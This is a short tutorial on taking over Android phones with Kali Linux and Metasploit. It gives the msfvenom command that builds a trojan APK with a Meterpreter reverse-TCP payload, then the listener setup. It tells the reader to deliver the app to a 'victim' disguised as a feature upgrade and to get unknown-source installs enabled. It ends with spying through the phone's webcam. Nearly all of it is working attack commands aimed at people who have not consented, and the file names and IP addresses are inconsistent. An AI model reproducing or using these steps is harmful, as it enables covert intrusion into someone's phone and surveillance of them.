This is a tutorial explaining how to hack android phones with Kali Linux
Step 1: Fire-Up Kali:
Open a terminal, and make a Trojan .apk You can do this by typing :
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=6227 R > andi.apk
LHOST=192.168.0.112 ( Change the IP with your own IP address ) To find your own IP type in terminal
ifconfig
LPORT=6227 ( you can chose any port you want but make sure it’s not used )
You can also hack android on WAN i.e. through Internet by using your Public/External IP in the LHOST and by port forwarding
Step 2: Open Another Terminal:
Open another terminal while the apk file is being produced.
start metasploit console, by typing :
msfconsole
Step 3: Set-Up a Listener:
After it loads(it will take some time), load the multi-handler exploit by typing :
use exploit/multi/handler
Set up a (reverse) payload by typing :
set payload android/meterpreter/reverse_tcp
To set L host & L Port type :
set LHOST 192.168.0.4 set LPORT 6227
(Even if you are hacking on WAN type your private/internal IP here not the public/external)
Step 4: Exploit!
to start the listener type:
exploit
Copy the application that you made (adri.apk) from the root folder to you android phone.
or send it to the victim using Uploading services like Dropbox or any sharing website you may like.
Let the Victim install the andri app(as he would think it is meant to upgrade some features on his phone)
However, the option of allowance for Installation of apps from Unknown Sources should be enabled (if not) from the security settings of the android phone to allow the Trojan to install.
And when the victim install your app >>>
Step 5: have fun !
Type help to get a list of the available commend :
help
and lets say we typed webcam_stream
There comes the Meterpreter prompt:
